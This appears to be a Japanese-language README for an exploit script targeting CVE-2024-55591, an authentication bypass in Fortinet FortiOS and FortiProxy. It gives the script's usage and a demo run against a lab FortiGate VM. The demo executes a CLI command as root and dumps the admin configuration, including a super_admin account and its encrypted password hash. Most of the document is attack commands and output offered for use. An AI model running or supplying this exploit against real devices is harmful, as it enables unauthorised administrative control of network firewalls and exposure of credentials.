CVE-2024-55591

Fortinet FortiOS 認証バイパスの脆弱性エクスプロイト

説明

このexpを使用すると、認証をバイパスしてコマンドを実行できます。

使用法

sysirq@sysirq-machine:~/Work/Fortinet/FortiGate_7_0_16/CVE-2024-55591$ python3 exp.py 
usage: exp.py [-h] --target TARGET [--port PORT] [--username USERNAME] [--cmd CMD]
exp.py: error: the following arguments are required: --target/-t

デモ

出力

sysirq@sysirq-machine:~/Work/Fortinet/FortiGate_7_0_16/CVE-2024-55591$ python3 exp.py -t 192.168.182.188 -p 443 -u admin -c 'show system admin'
CLI websocket initialized
\x00l_Process_Access" "Local_Process_Access" "root" "" ""  \x08"none" [192.168.182.1]:35950 [192.168.182.188]:443
Unknown action 0

FortiGate-VM64-KVM # 
wait for next action
CLI websocket initialized
\x00_Process_Access" "Local_Process_Access" "root" "" ""  \x08"none" [192.168.182.1]:40050 [192.168.182.188]:443
Unknown action 0

FortiGate-VM64-KVM # 
wait for next action
CLI websocket initialized
\x00 system admin
config system admin
    edit "admin"
        set accprofile "super_admin"
        set vdom "root"
        set password ENC SH2brnbwbooMvuSyHfEe82/cs0ehaIB2Kf06G/QYlI67PLGoEVKGJCGbYGqItg=
    next
end

影響を受けるバージョン

• FortiOS 7.0.0 through 7.0.16
• FortiProxy 7.0.0 through 7.0.19
• FortiProxy 7.2.0 through 7.2.12